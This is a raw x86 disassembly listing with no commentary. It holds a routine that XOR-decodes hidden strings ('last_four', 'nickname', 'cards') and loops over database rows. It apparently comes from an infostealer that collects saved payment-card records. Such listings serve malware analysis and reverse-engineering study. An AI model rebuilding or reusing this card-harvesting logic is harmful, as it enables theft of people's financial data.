push 0x18
movq qword [ebp - 0x220], xmm0
mov byte [ebp - 0x228], 3
call fcn.004dd5b0
mov edx, eax
add esp, 4
lea eax, [ebp - 0x15e]
mov dword [ebp - 0x2d4], edx
mov dword [ebp - 0x2d8], eax
mov byte [ebp - 4], 0x4e
mov ecx, esi
xorps xmm0, xmm0
movups xmmword [edx], xmm0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0
lea edi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x428398
sub ecx, edi
push ecx
push esi
mov ecx, edx
call fcn.00402870
mov eax, dword [ebp - 0x2d4]
mov dword [ebp - 0x2d4], 0
mov dword [ebp - 0x220], eax
mov byte [ebp - 4], 0x4f
xor ecx, ecx
mov dword [ebp - 0x78], 0xeaeefdf7
mov dword [ebp - 0x74], 0xd7cec6c0
mov word [ebp - 0x70], 0xd1
mov byte [ebp - 0x6e], 1
nop
mov al, cl
sub al, 0x65
xor byte [ebp + ecx - 0x78], al
inc ecx
cmp ecx, 9
jb 0x4283e0
lea eax, [ebp - 0x78]
mov byte [ebp - 0x6e], 0
push eax
lea ecx, [ebp - 0x298]
call fcn.0046a630
mov byte [ebp - 4], 0x47
mov edi, eax
mov cl, byte [ebp - 0x228]
mov dl, byte [edi]
mov byte [edi], cl
mov ecx, dword [ebp - 0x21c]
mov eax, dword [ebp - 0x220]
mov byte [ebp - 0x228], dl
mov edx, dword [edi + 8]
mov esi, dword [edi + 0xc]
mov dword [edi + 8], eax
mov dword [edi + 0xc], ecx
lea ecx, [ebp - 0x228]
mov dword [ebp - 0x220], edx
mov dword [ebp - 0x21c], esi
call fcn.00464020
mov esi, dword [ebp - 0x40]
test esi, esi
je 0x4284a1
cmp dword [esi + 0x2c], 0
je 0x42847c
mov eax, 4
cmp ax, word [esi + 0x30]
jae 0x42847c
mov eax, dword [esi]
mov eax, dword [eax + 0x44]
test eax, eax
je 0x428471
push eax
call dword [0x534d48]
add esp, 4
mov ecx, dword [esi + 0x2c]
add ecx, 0xa0
jmp 0x4284a6
mov eax, dword [esi]
test eax, eax
je 0x4284a1
mov eax, dword [eax + 0x44]
test eax, eax
je 0x428493
push eax
call dword [0x534d48]
add esp, 4
push 0
push 0x19
push dword [esi]
call fcn.0048e230
add esp, 0xc
mov ecx, 0x51f4d8
mov dl, 1
call fcn.0049c750
mov dword [ebp - 0x18], eax
test esi, esi
je 0x428503
mov edi, dword [esi]
mov ecx, dword [esi + 0x64]
test edi, edi
je 0x4284e6
cmp byte [edi + 0x1e], 0
jne 0x4284cb
cmp ecx, 0xc0a
jne 0x4284e1
push 0
push 7
push edi
call fcn.0048e230
add esp, 0xc
mov byte [edi + 0x1e], 0
mov ecx, 7
mov eax, dword [edi + 0x18]
jmp 0x4284eb
mov eax, 0xff
and eax, ecx
mov dword [esi + 0x64], eax
mov eax, dword [esi]
mov eax, dword [eax + 0x44]
test eax, eax
je 0x428503
push eax
call dword [0x534d50]
add esp, 4
mov esi, dword [ebp - 0x18]
xorps xmm0, xmm0
push 0x18
movq qword [ebp - 0x230], xmm0
mov byte [ebp - 0x238], 3
call fcn.004dd5b0
mov edx, eax
add esp, 4
lea eax, [ebp - 0x153]
mov dword [ebp - 0x23c], edx
mov dword [ebp - 0x240], eax
mov byte [ebp - 4], 0x50
mov ecx, esi
xorps xmm0, xmm0
movups xmmword [edx], xmm0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0
lea edi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x428553
sub ecx, edi
push ecx
push esi
mov ecx, edx
call fcn.00402870
mov eax, dword [ebp - 0x23c]
mov dword [ebp - 0x23c], 0
mov dword [ebp - 0x230], eax
mov byte [ebp - 4], 0x51
xor ecx, ecx
mov dword [ebp - 0x59], 0xf5fef5f5
mov dword [ebp - 0x55], 0xc7ccc1f1
mov word [ebp - 0x51], 0x100
mov al, cl
sub al, 0x65
xor byte [ebp + ecx - 0x59], al
inc ecx
cmp ecx, 8
jb 0x428595
lea eax, [ebp - 0x59]
mov byte [ebp - 0x50], 0
push eax
lea ecx, [ebp - 0x298]
call fcn.0046a630
mov byte [ebp - 4], 0x47
mov edi, eax
mov cl, byte [ebp - 0x238]
mov dl, byte [edi]
mov byte [edi], cl
mov ecx, dword [ebp - 0x22c]
mov eax, dword [ebp - 0x230]
mov byte [ebp - 0x238], dl
mov edx, dword [edi + 8]
mov esi, dword [edi + 0xc]
mov dword [edi + 8], eax
mov dword [edi + 0xc], ecx
lea ecx, [ebp - 0x238]
mov dword [ebp - 0x230], edx
mov dword [ebp - 0x22c], esi
call fcn.00464020
mov eax, dword [ebp - 0x34]
lea ecx, [ebp - 0x348]
add eax, dword [ebp - 0x24]
push eax
call fcn.00463c80
lea ecx, [ebp - 0x298]
push ecx
mov ecx, eax
call fcn.004639a0
lea ecx, [ebp - 0x298]
mov byte [ebp - 4], 0x32
call fcn.00464020
mov esi, dword [ebp - 0x40]
mov ecx, esi
call fcn.0049f880
cmp eax, 0x64
je 0x427d33
mov edi, dword [ebp - 0x44]
mov ecx, esi
call fcn.0049f770
mov ecx, edi
call fcn.004149b0
mov edi, dword [ebp - 0x20]
lea ecx, [ebp - 0xd3]
mov dword [ebp - 0xd3], 0xfaeffdf8
mov word [ebp - 0xcf], 0xec
mov byte [ebp - 0xcd], 1
call fcn.00409530
mov esi, dword [ebp - 0x188]
mov ecx, esi
push eax
call fcn.0046a630
lea ecx, [ebp - 0x348]
push ecx
mov ecx, eax
call fcn.004639a0
lea ecx, [ebp - 0x538]
call fcn.00402670
lea ecx, [ebp - 0x348]
call fcn.00464020
mov byte [ebp - 4], 0x23
mov ecx, dword [ebp - 0x274]
cmp ecx, 0x10
jb 0x4286e6
mov edx, dword [ebp - 0x288]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4286dc
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4288ba
push ecx
push edx
call fcn.004dd831
add esp, 8
mov byte [ebp - 4], 0x11
mov ecx, dword [ebp - 0x390]
mov dword [ebp - 0x278], 0
mov dword [ebp - 0x274], 0xf
mov byte [ebp - 0x288], 0
cmp ecx, 0x10
jb 0x42873f
mov edx, dword [ebp - 0x3a4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x428735
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4288ba
push ecx
push edx
call fcn.004dd831
add esp, 8
mov ecx, dword [ebp - 0x30]
mov eax, 0x2aaaaaab
sub ecx, dword [ebp - 0x34]
inc edi
imul ecx
mov dword [ebp - 0x394], 0
sar edx, 2
mov eax, edx
mov dword [ebp - 0x390], 0xf
shr eax, 0x1f
add eax, edx
mov byte [ebp - 0x3a4], 0
mov dword [ebp - 0x20], edi
cmp edi, eax
jb 0x4264f6
jmp 0x428785
mov esi, dword [ebp - 0x188]
mov ecx, dword [ebp - 0x378]
cmp ecx, 0x10
jb 0x4287bf
mov edx, dword [ebp - 0x38c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4287b5
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4288ba
push ecx
push edx
call fcn.004dd831
add esp, 8
mov ecx, dword [ebp - 0x3a8]
mov dword [ebp - 0x37c], 0
mov dword [ebp - 0x378], 0xf
mov byte [ebp - 0x38c], 0
cmp ecx, 0x10
jb 0x428814
mov edx, dword [ebp - 0x3bc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42880a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4288ba
push ecx
push edx
call fcn.004dd831
add esp, 8
lea ecx, [ebp - 0x34]
mov dword [ebp - 0x3ac], 0
mov dword [ebp - 0x3a8], 0xf
mov byte [ebp - 0x3bc], 0
call fcn.00468770
mov ecx, dword [ebp - 0x164]
cmp ecx, 0x10
jb 0x42886d
mov edx, dword [ebp - 0x178]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x428863
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4288ba
push ecx
push edx
call fcn.004dd831
add esp, 8
mov dword [ebp - 0x168], 0
mov dword [ebp - 0x164], 0xf
mov byte [ebp - 0x178], 0
lea ecx, [ebx + 0xc]
call fcn.00402670
lea ecx, [ebx + 0x24]
call fcn.00402670
lea ecx, [ebx + 0x3c]
call fcn.00402670
mov ecx, dword [ebp - 0xc]
mov eax, esi
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.00402050
call fcn.004e2ad0
int3